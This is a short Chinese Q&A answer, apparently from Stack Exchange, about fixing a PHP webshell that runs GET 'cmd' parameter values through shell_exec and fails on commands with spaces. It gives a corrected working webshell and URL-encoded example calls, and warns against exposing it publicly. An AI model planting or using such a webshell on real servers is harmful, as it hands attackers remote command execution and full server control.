使用GET参数的PHP反向shell无法执行带空格命令如何解决
问题解决方法
根因定位
你的报错和字符串编码无关,核心问题是传参时的冗余引号导致shell解析异常:
你在请求URL中给cmd参数包裹了双引号,$_GET会将引号也纳入参数值,最终传入shell_exec的内容是"ls -lh"。shell会把带引号的整段字符串识别为单个命令名,系统中不存在名为ls -lh的二进制文件,因此抛出command not found错误。
同时你贴出的原始代码存在语法错误:shell_exec($_GET['cmd']))多写了一个右括号,正式运行前需要先修正。
修复步骤
第一步:调整请求调用规则
不需要给cmd参数加任何引号,参数内的空格直接做URL编码即可:
# 正确调用示例 shell.php?cmd=ls%20-lh shell.php?cmd=ps%20aux
第二步:代码兼容性优化(可选)
如果需要兼容带引号的传参场景,可以增加参数预处理逻辑:
<?php // 去除参数首尾的单引号、双引号,同时修复原代码语法错误 $cmd = trim($_GET['cmd'], '\'"'); $res = shell_exec($cmd); var_dump($res); ?>
安全提醒
此类无权限校验、无输入过滤的Webshell仅可用于本地授权的测试场景,绝对禁止部署到公网可访问的环境,会直接导致服务器完全被入侵者控制。
内容的提问来源于stack exchange,提问作者user12213762
相关产品推荐
相关产品推荐

